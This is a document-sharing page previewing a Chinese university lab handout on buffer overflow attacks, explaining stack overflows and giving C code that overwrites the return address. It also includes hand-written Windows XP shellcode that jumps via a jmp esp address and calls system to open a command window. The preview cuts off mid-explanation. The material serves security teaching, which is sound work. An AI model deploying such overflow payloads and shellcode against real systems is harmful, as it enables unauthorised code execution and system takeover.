欢迎来到天天文库
浏览记录
ID:49691057
大小:346.50 KB
页数:19页
时间:2020-03-03
《实验四缓冲区溢出攻击技术.doc》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、实验单元四.缓冲区溢出攻击技术一、实验目的和要求1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。二、实验内容和原理缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的根本原因是程序中缺少错误检测。当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentationfault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。
2、如果该程序属于root,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作。缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。三、实验项目缓冲区溢出产生cmd窗口;改写函数返回地址;shellcode的编写;shellco
3、de的植入。四、实验所需软硬件1)仪器设备条件:PC及其网络环境;2)物质条件:WindowsXPSP3、Linux、Gcc、VisualC++6.0编译器等,OllyDbg;3)相关文献资料:课件及网上收集的资料。五、操作方法与实验步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法n缓冲区溢出模拟程序程序源代码如下:#include"string.h"#include"stdio.h"#include//charname[]="AAAAAAAAAAAAAAAA";charname[]="AAAAAAAAAAAAABCD";int
4、main(){charoutput[8];strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。n运行命令窗口的shellcodeshellcode测试代码如下:#include"stri
5、ng.h"#include"stdio.h"#includecharname[]="x41x41x41x41""x41x41x41x41""x41x41x41x41"///覆盖ebp"x12x45xfax7f"////覆盖eip,jmpesp地址7ffa4512"x55x8bxecx33xc0x50x50x50xc6x45xf4x6d""xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63""xc6x45xf8x72xc
6、6x45xf9x74xc6x45xfax2e""xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c""x8dx45xf4x50xb8""x77x1dx80x7c"//LoadLibraryW的地址"xffxd0""x55x8bxecx33xffx57x57x57xc6x45xf4x73""xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72""xc6x45xf8x74xc6x45xf9x
7、20xc6x45xfax63""xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57""xba""xc7x93xbfx77"//System的地址"xffxd2";intmain(){charoutput[8];strcpy(output,name);for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替
8、换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,
此文档下载收益归作者所有